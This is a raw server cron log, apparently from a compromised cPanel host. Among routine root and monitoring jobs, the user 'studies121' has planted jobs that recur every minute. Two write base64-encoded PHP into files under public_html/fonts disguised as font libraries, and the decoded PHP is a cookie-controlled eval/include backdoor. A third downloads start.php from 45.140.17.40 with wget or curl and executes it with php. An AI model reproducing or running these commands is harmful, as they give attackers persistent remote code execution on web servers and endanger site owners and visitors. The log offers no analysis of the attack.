Sep 22 19:34:01 ip-184-168-122-23 CROND[2749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:34:02 ip-184-168-122-23 CROND[2753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:34:02 ip-184-168-122-23 CROND[2751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:34:02 ip-184-168-122-23 CROND[2754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:34:02 ip-184-168-122-23 CROND[2752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:35:01 ip-184-168-122-23 CROND[2967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:35:01 ip-184-168-122-23 CROND[2969]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 19:35:01 ip-184-168-122-23 CROND[2970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:35:01 ip-184-168-122-23 CROND[2972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:35:01 ip-184-168-122-23 CROND[2977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:35:01 ip-184-168-122-23 CROND[2981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:35:02 ip-184-168-122-23 CROND[2984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:35:02 ip-184-168-122-23 CROND[2985]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 19:36:01 ip-184-168-122-23 CROND[3185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:36:01 ip-184-168-122-23 CROND[3189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:36:01 ip-184-168-122-23 CROND[3190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:36:01 ip-184-168-122-23 CROND[3187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:36:01 ip-184-168-122-23 CROND[3188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:37:01 ip-184-168-122-23 CROND[3449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:37:01 ip-184-168-122-23 CROND[3450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:37:01 ip-184-168-122-23 CROND[3451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:37:01 ip-184-168-122-23 CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:38:01 ip-184-168-122-23 CROND[3576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:38:01 ip-184-168-122-23 CROND[3578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:38:01 ip-184-168-122-23 CROND[3580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:38:01 ip-184-168-122-23 CROND[3579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:38:01 ip-184-168-122-23 CROND[3581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:39:01 ip-184-168-122-23 CROND[3700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:39:01 ip-184-168-122-23 CROND[3701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:39:01 ip-184-168-122-23 CROND[3703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:39:01 ip-184-168-122-23 CROND[3707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:39:01 ip-184-168-122-23 CROND[3705]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 19:40:01 ip-184-168-122-23 CROND[3905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:40:01 ip-184-168-122-23 CROND[3907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:40:01 ip-184-168-122-23 CROND[3908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 19:40:01 ip-184-168-122-23 CROND[3910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:40:01 ip-184-168-122-23 CROND[3909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:40:01 ip-184-168-122-23 CROND[3912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:40:01 ip-184-168-122-23 CROND[3911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:40:01 ip-184-168-122-23 CROND[3914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:41:01 ip-184-168-122-23 CROND[4181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:41:01 ip-184-168-122-23 CROND[4180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:41:01 ip-184-168-122-23 CROND[4183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:41:01 ip-184-168-122-23 CROND[4182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:42:01 ip-184-168-122-23 CROND[4516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:42:01 ip-184-168-122-23 CROND[4518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:42:01 ip-184-168-122-23 CROND[4520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:42:01 ip-184-168-122-23 CROND[4521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:42:01 ip-184-168-122-23 CROND[4522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:43:01 ip-184-168-122-23 CROND[4723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:43:01 ip-184-168-122-23 CROND[4725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:43:01 ip-184-168-122-23 CROND[4724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:43:01 ip-184-168-122-23 CROND[4726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:44:01 ip-184-168-122-23 CROND[4942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:44:01 ip-184-168-122-23 CROND[4943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:44:01 ip-184-168-122-23 CROND[4944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:44:01 ip-184-168-122-23 CROND[4947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:44:01 ip-184-168-122-23 CROND[4948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:45:01 ip-184-168-122-23 CROND[5100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:45:01 ip-184-168-122-23 CROND[5102]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:45:01 ip-184-168-122-23 CROND[5103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:45:01 ip-184-168-122-23 CROND[5105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:45:01 ip-184-168-122-23 CROND[5106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:45:01 ip-184-168-122-23 CROND[5104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:46:01 ip-184-168-122-23 CROND[5249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
